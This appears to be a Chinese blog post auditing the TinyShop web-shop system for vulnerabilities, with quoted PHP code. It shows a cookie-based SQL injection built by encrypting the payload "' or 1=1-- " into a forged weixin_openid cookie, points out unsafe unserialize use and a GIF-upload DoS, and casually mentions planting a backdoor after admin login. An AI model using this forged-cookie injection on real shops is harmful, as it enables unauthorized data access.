代码审计：TinyShop网店系统漏洞审计过程分享

public function address_save($redirect=null){
    $rules = array('zip:zip:邮政编码格式不正确!','addr:required:内容不能为空！','accept_name:required:收货人姓名不能为空!,mobile:mobi:手机格式不正确!,phone:phone:电话格式不正确','province:[1-9]\d*:选择地区必需完成','city:[1-9]\d*:选择地区必需完成','county:[1-9]\d*:选择地区必需完成');
    $info = Validator::check($rules);

    if(!is_array($info) && $info==true) {
        ...省略...
    }
    else{
        $this->assign("msg",array("error",$info['msg']));
        $this->redirect("address_other",false,Req::args());
    }
}

./runtime/default/simple/address_other.php

<label class="caption">邮政编码：</label><input class="field"  type="text" name="zip" pattern="zip" value="<?php echo isset($zip)?$zip:"";?>" alt="邮政编码错误">

// ./protected/classes/Common.php

//自动登录时的用户信息
static function autoLoginUserInfo()
{
    $cookie = new Cookie();
    $cookie->setSafeCode(Tiny::app()->getSafeCode());
    $autologin = $cookie->get('autologin');
    $obj = null;
    if($autologin!=null){
        ...省略...
    }else{
        $weixin_openid = Cookie::get('weixin_openid');
        if($weixin_openid != null){
            $model = new Model('oauth_user');
            // 关注点 $weixin_openid 参数
            $oauth_user = $model->where("oauth_type='WeixinOAuth' and open_id='$weixin_openid'")->find();
            if($oauth_user && $oauth_user['user_id']!=''){
                ...省略...
            }
        }
    }
    return $obj;
}

// ./framework/lib/util/cookie_class.php

// 取得cookie值
public static function get($name)
{
    // 这里的if是要 $_COOKIE['safecode'] 中的参数是 1 即可。
    if(self::checkSafe()==1)
    {
        // $per = 'Tiny_';
        if(isset($_COOKIE[self::$per.$name]))
        {
            $cryptCookie = $_COOKIE[self::$per.$name];
            $cookie= Crypt::decode($cryptCookie,self::getSafeCode());
            $tem = substr($cookie,0,10);
            if(preg_match('/^[Oa]:\d+:.*/',$tem)) $cookie = unserialize($cookie);
            return $cookie;
        }
        return null;
    }
    if(self::checkSafe()==0) self::clear($name);// Tiny::msg('非法窃取COOKIE，系统将终止工作！',0);
    else return null;
}

// ./framework/lib/util/cookie_class.php

public static function set($name,$value='',$time='86400',$path='/',$domain=null)
{
    if($time<=0) $time = -3600;
    else $time = time() + $time;
    setCookie('safecode',self::cookieId(),$time,$path,$domain);
    if(is_array($value) || is_object($value)) $value=serialize($value);
    $value = Crypt::encode($value,self::getSafeCode());
    //setCookie(self::$per.$name,$value,$time,$path,$domain); // 注释该行
    return $value;
}

// ./protected/classes/Common.php

//自动登录时的用户信息
static function autoLoginUserInfo()
{
    $str = '\' or 1=1-- ';
    $poc = Cookie::set('weixin_openid',$str);
    echo $poc;exit();

    /*...后面的代码先注释或忽略...*/
}

输出加密后的字符串：ddb494c3baUwYICFJVAwJSBVUACQFWB1MGVQcGVlUCAlhUAApaDAUQF1tARQkLU0sVFQ

现在我们用它来测试试试看，是否能被正确解密：

好了，我们去除调试用的 var_dump($weixin_openid);exit();，看看是否被带入到SQL中：

至于后面怎么利用，请原来我这个辣鸡水平低~ 咳咳~

你在查看源代码的时候后会发现，这个 cms 大量使用了序列化和反序列函数，如果你登录了后台，并且想留个后面什么的，用序列化蛮方便的。

当然，前台我已基本上分析完了，有反序列化的地方但并不能形成漏洞。

很失望。

上传头像存在DOS风险

该 CMS 对上传已经做了很好的安全限制，但它支持用户上传 gif 文件，结合文章中所述的 POC 测试此处风险确实存在。

/**
 * 生成图像
 *
 * @access private
 * @param mixed $type 图片类型
 * @param mixed $filename 文件名
 * @return mixed
 */
private function createImage($type,$filename)
{
    //1 = GIF，2 = JPG，3 = PNG
    switch($type)
    {
    case 1: $im = imageCreateFromGif($filename);break; // 代码运行至此处，存在DOS风险
    case 2: $im = imageCreateFromJpeg($filename);break;
    case 3: $im = imageCreateFromPng($filename);break;
    default:
    {
        $im = imageCreateFromJpeg($filename);break;
    }
    }
    return $im;
}